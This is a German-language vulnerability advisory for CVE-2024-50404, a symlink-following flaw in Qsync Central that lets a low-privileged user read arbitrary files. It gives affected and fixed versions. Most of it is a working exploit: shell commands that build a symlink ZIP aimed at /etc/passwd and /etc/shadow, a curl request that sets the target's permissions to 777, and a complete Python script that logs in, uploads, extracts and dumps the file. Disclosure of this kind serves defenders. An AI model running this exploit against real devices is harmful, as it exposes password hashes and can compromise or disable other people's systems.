
CVE-2024-50404
„Es wurde von einer Sicherheitslücke aufgrund der Verfolgung von Verknüpfungen (Link Following) berichtet, die Qsync Central betrifft. Bei Ausnutzung könnte die Sicherheitslücke entfernten Angreifern, die Benutzerzugriff erlangt haben, ermöglichen, das Dateisystem zu unbeabsichtigten Orten zu durchqueren."
Entdeckungsdatum: 22. April 2024
Behebungsdatum: 7. Dezember 2024
Betroffene Version(en): Qsync Central 4.4.x
Behobene Version(en): Qsync Central 4.4.0.16_20240819 (2024/08/19) und später
Zugriffsberechtigungen: Normaler Benutzer mit Datei-Upload-Berechtigung
Zusammenfassung:
Es ist möglich, einen symbolischen Link (Symlink) über eine ZIP-Datei hochzuladen und die Datei zu lesen, auf die der hochgeladene Symlink zeigt.
Darüber hinaus können die Dateiberechtigungen des Symlink-Ziels geändert werden.
Ein Angreifer mit den Rechten eines normalen Benutzers kann Daten anderer Benutzer oder die Passwort-Hashes lesen, die in /etc/config/shadow gespeichert sind, was zur Kompromittierung des gesamten Systems führen könnte.
Zusätzlich könnte der Angreifer die Ausführungsberechtigung wichtiger Systembinärdateien entfernen, um das System unbrauchbar zu machen.
Erstellen Sie einen Symlink und packen Sie ihn in eine ZIP-Datei.
ln -s /etc/passwd link.txt
zip --symlink pwn.zip link.txt
Melden Sie sich als Benutzer mit niedrigen Privilegien an.
Laden Sie die ZIP-Datei in den Ordner .Qsync hoch.

Extrahieren Sie die ZIP-Datei durch Rechtsklick und Auswahl von Nach /pwn/ extrahieren.

Öffnen Sie den neuen Ordner pwn, klicken Sie mit der rechten Maustaste auf link.txt und wählen Sie Öffnen.
Beachten Sie, dass /etc/passwd in einem neuen Tab geöffnet wird.

Erstellen Sie einen Symlink und packen Sie ihn in eine ZIP-Datei.
ln -s /etc/shadow link.txt
zip --symlink pwn.zip link.txt
Melden Sie sich als Benutzer mit niedrigen Privilegien an.
Laden Sie die ZIP-Datei in den Ordner .Qsync hoch.
Extrahieren Sie die ZIP-Datei durch Rechtsklick und Auswahl von Nach /pwn/ extrahieren.
Ändern Sie die Berechtigung der Datei, auf die der Symlink zeigt, indem Sie die Funktion set_privilege missbrauchen.
Curl-Anfrage:
curl --path-as-is -i -s -k -X $'GET' -H $'Host: 192.168.178.156' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: https://192.168.178.156/cgi-bin/' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' $'https://192.168.178.156/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid=9j27809t&source_path=/home/.Qsync/pwn/&source_file=link.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1'
Burp-Anfrage:

Sie müssen den Parameter sid in der URL durch eine gültige Sitzungs-ID ersetzen.
Öffnen Sie den neuen Ordner pwn, klicken Sie mit der rechten Maustaste auf link.txt und wählen Sie Öffnen.
Das folgende Python-Skript kann verwendet werden, um die Sicherheitslücke auszunutzen.
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
FILE = '/etc/shadow'
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print(f'carefull, privileges of {FILE} are changed to 777! clean up is not implemented')
print('creating zip file')
os.system('rm -f pwned.txt pwn.zip')
os.system(f'ln -s {FILE} pwned.txt')
os.system('zip --symlink pwn.zip pwned.txt')
print('loggin in')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('uploading zip file')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('unpacking zip file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
# wait a bit
time.sleep(5)
print('changing privileges on file')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('read file')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
assert response.status_code == 200
print(response.text)
print('done')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# get upload id
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id
# upload file
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
files=(
('fileName', (None, filename.encode('ascii'))),
('file', ('blob', content, 'application/octet-stream')),
),
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
if __name__ == '__main__':
main()
Beachten Sie, dass /etc/shadow in einem neuen Tab geöffnet wird.
